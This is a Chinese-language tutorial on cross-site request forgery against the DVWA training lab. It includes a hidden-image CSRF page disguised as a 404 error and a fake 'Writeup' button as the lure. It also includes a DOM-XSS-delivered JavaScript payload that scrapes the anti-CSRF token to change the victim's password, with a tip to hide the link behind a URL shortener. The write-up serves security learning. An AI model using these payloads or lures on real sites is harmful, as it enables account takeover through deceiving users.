介绍
CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。
环境
1、DVAW
2、burpsuite
3、chrome
安装
这里安装DVWA环境进行学习,我是在docker镜像里面安装
>git clone https://github.com/ethicalhack3r/DVWA.git
>cd DVWA/config
>mv config.inc.php.dist config.inc.php
>vim config.inc.php
修改成你的mysql数据库,账号密码,如下
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = 'vv';
启动mysql
service mysql start
(root权限)
启动apache
service apache2 start
(同样root权限)
然后登陆http://xxx/DVWA/setup.php
,单击页面底部的 Create / Reset Database 按钮,即可跳转至 DVWA 的登陆页面,开始使用吧。
默认账户密码 admin password
Low等级
1、查看源码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
服务器通过GET方式接收修改密码的请求,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,没有任何的防CSRF机制。
2、利用crsf进行攻击
首先,正常修改,抓取修改数据包:
其修改的url。尝试利用crsf修改密码。创建一个test.html测试页面放在自己准备的网址上,不一定是这个DVWA网址上。为了方便,www目录下创建一个test目录,将其放入。
<img src="http://172.10.22.40:1234/DVWA/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
然后F12修改页面,添加一个Writeup按钮,如:
内容为
<a href="http://172.10.22.40:1234/test/test.html"><input type="submit" value="Writeup" name="Writeup"></a>
有人想看这个crsf的利用方式的时候,就会点击这个按钮,会出现404,误认为是自己点击的是一个失效的url,这时crsf目的就达到了,密码就被修改成---> test 。
High
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,High Security Level的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
利用dom xss与 csrf 结合
创建一个xss.js并放在攻击者自己网站上。
alert(document.cookie);
var theUrl = 'http://172.10.22.40:1234/DVWA/vulnerabilities/csrf/';
if(window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
}else{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState ==4 && xmlhttp.status==200)
{
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
console.log(match);
alert(match[1]);
var token = match[1];
var new_url = 'http://172.10.22.40:1234/DVWA/vulnerabilities/csrf/?user_token='+token+'&password_new=test&password_conf=test&Change=Change';
if(count==0){
count++;
xmlhttp.open("GET",new_url,false);
xmlhttp.send();
}
}
};
xmlhttp.open("GET",theUrl,false);
xmlhttp.send();
然后诱导攻击者点击一个伪造的链接,
http://172.10.22.40:1234/DVWA/vulnerabilities/xss_d/?default=English #<script src="http://172.10.22.40:1234/test/xss.js"></script>
点击后,就会成功修改密码。
PS:提供一个短网址生成网站
总结
只要修改密码不需要旧密码,大部分存在csrf漏洞。